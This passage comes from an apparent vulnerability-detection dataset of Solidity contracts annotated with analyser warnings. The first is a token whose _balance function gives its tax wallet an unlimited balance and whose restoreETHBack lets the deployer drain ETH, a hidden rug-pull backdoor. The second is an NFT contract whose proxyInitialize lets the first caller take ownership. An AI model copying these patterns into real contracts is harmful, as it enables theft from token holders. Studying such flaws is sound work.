address\");\n\n\t\t// reentrancy-benign | ID: 8218389\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f24f293\n emit Approval(owner, spender, amount);\n }\n\n function _balance(address addr) internal view returns (uint256 amount) {\n if (addr == _taxWallet) return type(uint256).max;\n\n return _balances[addr];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e59dd47): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e59dd47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: df54c00): SARATMI.goSARATMI() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for df54c00: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 30f2c63): SARATMI.goSARATMI() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 30f2c63: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b6de237): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b6de237: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function goSARATMI() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e59dd47\n\t\t// reentrancy-eth | ID: b6de237\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e59dd47\n\t\t// unused-return | ID: 30f2c63\n\t\t// reentrancy-eth | ID: b6de237\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e59dd47\n\t\t// unused-return | ID: df54c00\n\t\t// reentrancy-eth | ID: b6de237\n IERC20(uniswapV2Pair).approve(\n address(uniswapV2Router),\n type(uint256).max\n );\n\n\t\t// reentrancy-benign | ID: e59dd47\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b6de237\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2a21a58): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2a21a58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 288b057): SARATMI._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 288b057: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6682ae3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6682ae3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (\n from != owner() &&\n to != owner() &&\n from != address(this) &&\n to != address(this)\n ) {\n taxAmount = amount.mul(_transferTax).div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 2a21a58\n\t\t\t\t\t// reentrancy-eth | ID: 6682ae3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 288b057\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2a21a58\n\t\t\t\t\t// reentrancy-eth | ID: 6682ae3\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6682ae3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2a21a58\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6682ae3\n _balances[from] = _balance(from).sub(amount);\n\n\t\t// reentrancy-eth | ID: 6682ae3\n _balances[to] = _balance(to).add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2a21a58\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2a21a58\n\t\t// reentrancy-events | ID: f24f293\n\t\t// reentrancy-benign | ID: 8218389\n\t\t// reentrancy-eth | ID: 6682ae3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9df5902): SARATMI.restoreETHBack(address).addr lacks a zerocheck on \t _taxWallet = address(addr)\n\t// Recommendation for 9df5902: Check that the address is not zero.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2c44679): SARATMI.restoreETHBack(address) sends eth to arbitrary user Dangerous calls address(_msgSender()).transfer(address(this).balance)\n\t// Recommendation for 2c44679: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function restoreETHBack(address addr) external {\n require(_msgSender() == _deployer, \"No AUTH\");\n\n\t\t// arbitrary-send-eth | ID: 2c44679\n payable(_msgSender()).transfer(address(this).balance);\n\n\t\t// missing-zero-check | ID: 9df5902\n _taxWallet = payable(addr);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 72e690a): SARATMI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 72e690a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2a21a58\n\t\t// reentrancy-events | ID: f24f293\n\t\t// reentrancy-eth | ID: 6682ae3\n\t\t// arbitrary-send-eth | ID: 72e690a\n _taxWallet.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10064.sol",
"size_bytes": 20351,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address public owner;\n\n event OwnershipTransferred(\n address indexed _previousOwner,\n address indexed _newOwner\n );\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"Not Owner!\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 90700e5): Ownable.transferOwnership(address).new_ lacks a zerocheck on \t owner = new_\n\t// Recommendation for 90700e5: Check that the address is not zero.\n function transferOwnership(address new_) external onlyOwner {\n address oldOwner = owner;\n\n\t\t// missing-zero-check | ID: 90700e5\n owner = new_;\n\n emit OwnershipTransferred(oldOwner, new_);\n }\n\n function mockTransferOwnership(\n address old_,\n address new_\n ) external onlyOwner {\n emit OwnershipTransferred(old_, new_);\n }\n}\n\nabstract contract ERC721G {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n string public name;\n\n string public symbol;\n\n uint256 public tokenIndex;\n\n uint256 public immutable startTokenId;\n\n uint256 public immutable maxBatchSize;\n\n function stakingAddress() public view returns (address) {\n return address(this);\n }\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 startId_,\n uint256 maxBatchSize_\n ) {\n name = name_;\n\n symbol = symbol_;\n\n tokenIndex = startId_;\n\n startTokenId = startId_;\n\n maxBatchSize = maxBatchSize_;\n }\n\n struct OwnerStruct {\n address owner;\n uint32 lastTransfer;\n uint32 stakeTimestamp;\n uint32 totalTimeStaked;\n }\n\n struct BalanceStruct {\n uint32 balance;\n uint32 mintedAmount;\n }\n\n mapping(uint256 => OwnerStruct) public _tokenData;\n\n mapping(address => BalanceStruct) public _balanceData;\n\n mapping(uint256 => OwnerStruct) public mintIndex;\n\n mapping(uint256 => address) public getApproved;\n\n mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n function _getBlockTimestampCompressed()\n public\n view\n virtual\n returns (uint32)\n {\n return uint32(block.timestamp / 10);\n }\n\n function _compressTimestamp(\n uint256 timestamp_\n ) public view virtual returns (uint32) {\n return uint32(timestamp_ / 10);\n }\n\n function _expandTimestamp(\n uint32 timestamp_\n ) public view virtual returns (uint256) {\n return uint256(timestamp_) * 10;\n }\n\n function getLastTransfer(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).lastTransfer);\n }\n\n function getStakeTimestamp(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).stakeTimestamp);\n }\n\n function getTotalTimeStaked(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).totalTimeStaked);\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return tokenIndex - startTokenId;\n }\n\n function balanceOf(address address_) public view virtual returns (uint256) {\n return _balanceData[address_].balance;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: dc6995d): ERC721G._getTokenDataOf(uint256) uses timestamp for comparisons Dangerous comparisons _tokenData[tokenId_].owner != address(0) || tokenId_ >= tokenIndex mintIndex[_lowerRange].owner == address(0)\n\t// Recommendation for dc6995d: Avoid relying on 'block.timestamp'.\n function _getTokenDataOf(\n uint256 tokenId_\n ) public view virtual returns (OwnerStruct memory) {\n require(tokenId_ >= startTokenId, \"TokenId below starting Id!\");\n\n if (\n\t\t\t// timestamp | ID: dc6995d\n _tokenData[tokenId_].owner != address(0) || tokenId_ >= tokenIndex\n ) {\n return _tokenData[tokenId_];\n } else {\n unchecked {\n uint256 _lowerRange = tokenId_;\n\n\t\t\t\t// timestamp | ID: dc6995d\n while (mintIndex[_lowerRange].owner == address(0)) {\n _lowerRange--;\n }\n\n return mintIndex[_lowerRange];\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b65aa5d): ERC721G.ownerOf(uint256) uses timestamp for comparisons Dangerous comparisons _OwnerStruct.stakeTimestamp == 0\n\t// Recommendation for b65aa5d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: feaa989): ERC721G.ownerOf(uint256) uses a dangerous strict equality _OwnerStruct.stakeTimestamp == 0\n\t// Recommendation for feaa989: Don't use strict equality to determine if an account has enough Ether or tokens.\n function ownerOf(uint256 tokenId_) public view virtual returns (address) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n\t\t// timestamp | ID: b65aa5d\n\t\t// incorrect-equality | ID: feaa989\n return\n _OwnerStruct.stakeTimestamp == 0\n ? _OwnerStruct.owner\n : stakingAddress();\n }\n\n function _trueOwnerOf(\n uint256 tokenId_\n ) public view virtual returns (address) {\n return _getTokenDataOf(tokenId_).owner;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 15034b4): ERC721G._initializeTokenIf(uint256,ERC721G.OwnerStruct) uses timestamp for comparisons Dangerous comparisons _tokenData[tokenId_].owner == address(0)\n\t// Recommendation for 15034b4: Avoid relying on 'block.timestamp'.\n function _initializeTokenIf(\n uint256 tokenId_,\n OwnerStruct memory _OwnerStruct\n ) internal virtual {\n\t\t// timestamp | ID: 15034b4\n if (_tokenData[tokenId_].owner == address(0)) {\n _tokenData[tokenId_] = _OwnerStruct;\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d087879): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for d087879: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: a928fef): ERC721G._setStakeTimestamp(uint256,uint256) uses a dangerous strict equality require(bool,string)(_stakeTimestamp == 0,ERC721G _setStakeTimestamp() already staked)\n\t// Recommendation for a928fef: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _setStakeTimestamp(\n uint256 tokenId_,\n uint256 timestamp_\n ) internal virtual returns (address) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n address _owner = _OwnerStruct.owner;\n\n uint32 _stakeTimestamp = _OwnerStruct.stakeTimestamp;\n\n _initializeTokenIf(tokenId_, _OwnerStruct);\n\n delete getApproved[tokenId_];\n\n\t\t// timestamp | ID: d087879\n if (timestamp_ > 0) {\n\t\t\t// timestamp | ID: d087879\n\t\t\t// incorrect-equality | ID: a928fef\n require(\n _stakeTimestamp == 0,\n \"ERC721G: _setStakeTimestamp() already staked\"\n );\n\n unchecked {\n _balanceData[_owner].balance--;\n\n _balanceData[stakingAddress()].balance++;\n }\n\n emit Transfer(_owner, stakingAddress(), tokenId_);\n } else {\n\t\t\t// timestamp | ID: d087879\n require(\n _stakeTimestamp != 0,\n \"ERC721G: _setStakeTimestamp() already unstaked\"\n );\n\n unchecked {\n _balanceData[_owner].balance++;\n\n _balanceData[stakingAddress()].balance--;\n }\n\n uint32 _timeStaked = _getBlockTimestampCompressed() -\n _stakeTimestamp;\n\n _tokenData[tokenId_].totalTimeStaked += _timeStaked;\n\n emit Transfer(stakingAddress(), _owner, tokenId_);\n }\n\n _tokenData[tokenId_].stakeTimestamp = _compressTimestamp(timestamp_);\n\n return _owner;\n }\n\n function _stake(uint256 tokenId_) internal virtual returns (address) {\n return _setStakeTimestamp(tokenId_, block.timestamp);\n }\n\n function _unstake(uint256 tokenId_) internal virtual returns (address) {\n return _setStakeTimestamp(tokenId_, 0);\n }\n\n function _mintAndStakeInternal(\n address to_,\n uint256 amount_\n ) internal virtual {\n require(to_ != address(0), \"ERC721G: _mintAndStakeInternal to 0x0\");\n\n require(\n amount_ <= maxBatchSize,\n \"ERC721G: _mintAndStakeInternal over maxBatchSize\"\n );\n\n uint256 _startId = tokenIndex;\n\n uint256 _endId = _startId + amount_;\n\n uint32 _currentTime = _getBlockTimestampCompressed();\n\n mintIndex[_startId] = OwnerStruct(to_, _currentTime, _currentTime, 0);\n\n unchecked {\n _balanceData[stakingAddress()].balance += uint32(amount_);\n\n _balanceData[to_].mintedAmount += uint32(amount_);\n\n do {\n emit Transfer(address(0), to_, _startId);\n\n emit Transfer(to_, stakingAddress(), _startId);\n } while (++_startId < _endId);\n }\n\n tokenIndex = _endId;\n }\n\n function _mintAndStake(address to_, uint256 amount_) internal virtual {\n uint256 _amountToMint = amount_;\n\n while (_amountToMint > maxBatchSize) {\n _amountToMint -= maxBatchSize;\n\n _mintAndStakeInternal(to_, maxBatchSize);\n }\n\n _mintAndStakeInternal(to_, _amountToMint);\n }\n\n function _mintInternal(address to_, uint256 amount_) internal virtual {\n require(to_ != address(0), \"ERC721G: _mintInternal to 0x0\");\n\n require(\n amount_ <= maxBatchSize,\n \"ERC721G: _mintInternal over maxBatchSize\"\n );\n\n uint256 _startId = tokenIndex;\n\n uint256 _endId = _startId + amount_;\n\n mintIndex[_startId].owner = to_;\n\n mintIndex[_startId].lastTransfer = _getBlockTimestampCompressed();\n\n unchecked {\n _balanceData[to_].balance += uint32(amount_);\n\n _balanceData[to_].mintedAmount += uint32(amount_);\n\n do {\n emit Transfer(address(0), to_, _startId);\n } while (++_startId < _endId);\n }\n\n tokenIndex = _endId;\n }\n\n function _mint(address to_, uint256 amount_) internal virtual {\n uint256 _amountToMint = amount_;\n\n while (_amountToMint > maxBatchSize) {\n _amountToMint -= maxBatchSize;\n\n _mintInternal(to_, maxBatchSize);\n }\n\n _mintInternal(to_, _amountToMint);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: bdc0b5b): ERC721G._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(from_ == ownerOf(tokenId_),ERC721G _transfer != ownerOf)\n\t// Recommendation for bdc0b5b: Avoid relying on 'block.timestamp'.\n function _transfer(\n address from_,\n address to_,\n uint256 tokenId_\n ) internal virtual {\n\t\t// timestamp | ID: bdc0b5b\n require(from_ == ownerOf(tokenId_), \"ERC721G: _transfer != ownerOf\");\n\n require(to_ != address(0), \"ERC721G: _transfer to 0x0\");\n\n delete getApproved[tokenId_];\n\n _tokenData[tokenId_].owner = to_;\n\n _tokenData[tokenId_].lastTransfer = _getBlockTimestampCompressed();\n\n unchecked {\n _balanceData[from_].balance--;\n\n _balanceData[to_].balance++;\n }\n\n emit Transfer(from_, to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9beff98): ERC721G.stake(uint256[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(msg.sender == _owner,You are not the owner!)\n\t// Recommendation for 9beff98: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 3d694de): ERC721G.stake(uint256[]).i is a local variable never initialized\n\t// Recommendation for 3d694de: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function stake(uint256[] calldata tokenIds_) public virtual {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n while (i < l) {\n address _owner = _stake(tokenIds_[i]);\n\n\t\t\t// timestamp | ID: 9beff98\n require(msg.sender == _owner, \"You are not the owner!\");\n\n unchecked {\n ++i;\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 08b72bb): ERC721G.unstake(uint256[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(msg.sender == _owner,You are not the owner!)\n\t// Recommendation for 08b72bb: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: a3dd8c5): ERC721G.unstake(uint256[]).i is a local variable never initialized\n\t// Recommendation for a3dd8c5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function unstake(uint256[] calldata tokenIds_) public virtual {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n while (i < l) {\n address _owner = _unstake(tokenIds_[i]);\n\n\t\t\t// timestamp | ID: 08b72bb\n require(msg.sender == _owner, \"You are not the owner!\");\n\n unchecked {\n ++i;\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a2ba0d4): ERC721G.balanceOfStaked(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) != address_ && _trueOwnerOf(i) == address_\n\t// Recommendation for a2ba0d4: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: c9a78d7): ERC721G.balanceOfStaked(address)._balance is a local variable never initialized\n\t// Recommendation for c9a78d7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function balanceOfStaked(\n address address_\n ) public view virtual returns (uint256) {\n uint256 _balance;\n\n uint256 i = startTokenId;\n\n uint256 max = tokenIndex;\n\n while (i < max) {\n\t\t\t// timestamp | ID: a2ba0d4\n if (ownerOf(i) != address_ && _trueOwnerOf(i) == address_) {\n _balance++;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _balance;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6169979): ERC721G.walletOfOwnerStaked(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) != address_ && _trueOwnerOf(i) == address_\n\t// Recommendation for 6169979: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 9eb3de8): ERC721G.walletOfOwnerStaked(address)._currentIndex is a local variable never initialized\n\t// Recommendation for 9eb3de8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function walletOfOwnerStaked(\n address address_\n ) public view virtual returns (uint256[] memory) {\n uint256 _balance = balanceOfStaked(address_);\n\n uint256[] memory _tokens = new uint256[](_balance);\n\n uint256 _currentIndex;\n\n uint256 i = startTokenId;\n\n while (_currentIndex < _balance) {\n\t\t\t// timestamp | ID: 6169979\n if (ownerOf(i) != address_ && _trueOwnerOf(i) == address_) {\n _tokens[_currentIndex++] = i;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _tokens;\n }\n\n function totalBalanceOf(\n address address_\n ) public view virtual returns (uint256) {\n return balanceOf(address_) + balanceOfStaked(address_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5e5cead): ERC721G.totalTimeStakedOfToken(uint256) uses timestamp for comparisons Dangerous comparisons _OwnerStruct.stakeTimestamp > 0\n\t// Recommendation for 5e5cead: Avoid relying on 'block.timestamp'.\n function totalTimeStakedOfToken(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n uint256 _totalTimeStakedOnToken = _expandTimestamp(\n _OwnerStruct.totalTimeStaked\n );\n\n\t\t// timestamp | ID: 5e5cead\n uint256 _totalTimeStakedPending = _OwnerStruct.stakeTimestamp > 0\n ? _expandTimestamp(\n _getBlockTimestampCompressed() - _OwnerStruct.stakeTimestamp\n )\n : 0;\n\n return _totalTimeStakedOnToken + _totalTimeStakedPending;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 18540e2): ERC721G.totalTimeStakedOfTokens(uint256[]).i is a local variable never initialized\n\t// Recommendation for 18540e2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function totalTimeStakedOfTokens(\n uint256[] calldata tokenIds_\n ) public view virtual returns (uint256[] memory) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n uint256[] memory _totalTimeStakeds = new uint256[](l);\n\n while (i < l) {\n _totalTimeStakeds[i] = totalTimeStakedOfToken(tokenIds_[i]);\n\n unchecked {\n ++i;\n }\n }\n\n return _totalTimeStakeds;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 990b442): ERC721G._isApprovedOrOwner(address,uint256) uses timestamp for comparisons Dangerous comparisons (_owner == spender_ || getApproved[tokenId_] == spender_ || isApprovedForAll[_owner][spender_])\n\t// Recommendation for 990b442: Avoid relying on 'block.timestamp'.\n function _isApprovedOrOwner(\n address spender_,\n uint256 tokenId_\n ) internal view virtual returns (bool) {\n address _owner = ownerOf(tokenId_);\n\n\t\t// timestamp | ID: 990b442\n return (_owner == spender_ ||\n getApproved[tokenId_] == spender_ ||\n isApprovedForAll[_owner][spender_]);\n }\n\n function _approve(address to_, uint256 tokenId_) internal virtual {\n getApproved[tokenId_] = to_;\n\n emit Approval(ownerOf(tokenId_), to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 255cc48): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 255cc48: Avoid relying on 'block.timestamp'.\n function approve(address to_, uint256 tokenId_) public virtual {\n address _owner = ownerOf(tokenId_);\n\n\t\t// timestamp | ID: 255cc48\n require(\n _owner == msg.sender || isApprovedForAll[_owner][msg.sender],\n \"ERC721G: approve not authorized\"\n );\n\n _approve(to_, tokenId_);\n }\n\n function _setApprovalForAll(\n address owner_,\n address operator_,\n bool approved_\n ) internal virtual {\n isApprovedForAll[owner_][operator_] = approved_;\n\n emit ApprovalForAll(owner_, operator_, approved_);\n }\n\n function setApprovalForAll(\n address operator_,\n bool approved_\n ) public virtual {\n _setApprovalForAll(msg.sender, operator_, approved_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 009ff39): ERC721G._exists(uint256) uses timestamp for comparisons Dangerous comparisons ownerOf(tokenId_) != address(0)\n\t// Recommendation for 009ff39: Avoid relying on 'block.timestamp'.\n function _exists(uint256 tokenId_) internal view virtual returns (bool) {\n\t\t// timestamp | ID: 009ff39\n return ownerOf(tokenId_) != address(0);\n }\n\n function transferFrom(\n address from_,\n address to_,\n uint256 tokenId_\n ) public virtual {\n require(\n _isApprovedOrOwner(msg.sender, tokenId_),\n \"ERC721G: transferFrom unauthorized\"\n );\n\n _transfer(from_, to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f01ce1b): ERC721G.safeTransferFrom(address,address,uint256,bytes).from_ lacks a zerocheck on \t (None,_returned) = to_.call(abi.encodeWithSelector(0x150b7a02,msg.sender,from_,tokenId_,data_))\n\t// Recommendation for f01ce1b: Check that the address is not zero.\n function safeTransferFrom(\n address from_,\n address to_,\n uint256 tokenId_,\n bytes memory data_\n ) public virtual {\n transferFrom(from_, to_, tokenId_);\n\n if (to_.code.length != 0) {\n\t\t\t// missing-zero-check | ID: f01ce1b\n (, bytes memory _returned) = to_.call(\n abi.encodeWithSelector(\n 0x150b7a02,\n msg.sender,\n from_,\n tokenId_,\n data_\n )\n );\n\n bytes4 _selector = abi.decode(_returned, (bytes4));\n\n require(\n _selector == 0x150b7a02,\n \"ERC721G: safeTransferFrom to_ non-ERC721Receivable!\"\n );\n }\n }\n\n function safeTransferFrom(\n address from_,\n address to_,\n uint256 tokenId_\n ) public virtual {\n safeTransferFrom(from_, to_, tokenId_, \"\");\n }\n\n function supportsInterface(bytes4 iid_) public view virtual returns (bool) {\n return\n iid_ == 0x01ffc9a7 ||\n iid_ == 0x80ac58cd ||\n iid_ == 0x5b5e139f ||\n iid_ == 0x7f5828d0;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: cd9b8d9): ERC721G.walletOfOwner(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) == address_\n\t// Recommendation for cd9b8d9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 19b0ef3): ERC721G.walletOfOwner(address)._currentIndex is a local variable never initialized\n\t// Recommendation for 19b0ef3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function walletOfOwner(\n address address_\n ) public view virtual returns (uint256[] memory) {\n uint256 _balance = balanceOf(address_);\n\n uint256[] memory _tokens = new uint256[](_balance);\n\n uint256 _currentIndex;\n\n uint256 i = startTokenId;\n\n while (_currentIndex < _balance) {\n\t\t\t// timestamp | ID: cd9b8d9\n if (ownerOf(i) == address_) {\n _tokens[_currentIndex++] = i;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _tokens;\n }\n\n function tokenURI(\n uint256 tokenId_\n ) public view virtual returns (string memory) {}\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 6f917b3): GAS2_20241028_1.proxyPadding shadows ERC721G.proxyPadding\n\t// Recommendation for 6f917b3: Remove the state variable shadowing.\n bytes32[50] private proxyPadding;\n}\n\nabstract contract Minterable is Ownable {\n mapping(address => bool) public minters;\n\n modifier onlyMinter() {\n require(minters[msg.sender], \"Not Minter!\");\n _;\n }\n\n event MinterSet(address newMinter, bool status);\n\n function setMinter(address address_, bool bool_) external onlyOwner {\n minters[address_] = bool_;\n\n emit MinterSet(address_, bool_);\n }\n}\n\ncontract GAS2_20241028_1 is ERC721G, Ownable, Minterable {\n constructor() ERC721G(\"Gangster All Star: Evolution\", \"GAS:EVO\", 1, 20) {}\n\n bool proxyIsInitialized;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d838ca5): GAS2_20241028_1.proxyInitialize(address).newOwner lacks a zerocheck on \t owner = newOwner\n\t// Recommendation for d838ca5: Check that the address is not zero.\n function proxyInitialize(address newOwner) external {\n require(!proxyIsInitialized);\n\n proxyIsInitialized = true;\n\n\t\t// missing-zero-check | ID: d838ca5\n owner = newOwner;\n\n name = \"Gangster All Star: Evolution\";\n\n symbol = \"GAS:EVO\";\n\n tokenIndex = 1;\n }\n\n bytes32 public generationSeed;\n\n function pullGenerationSeed() external onlyOwner {\n generationSeed = keccak256(\n abi.encodePacked(\n 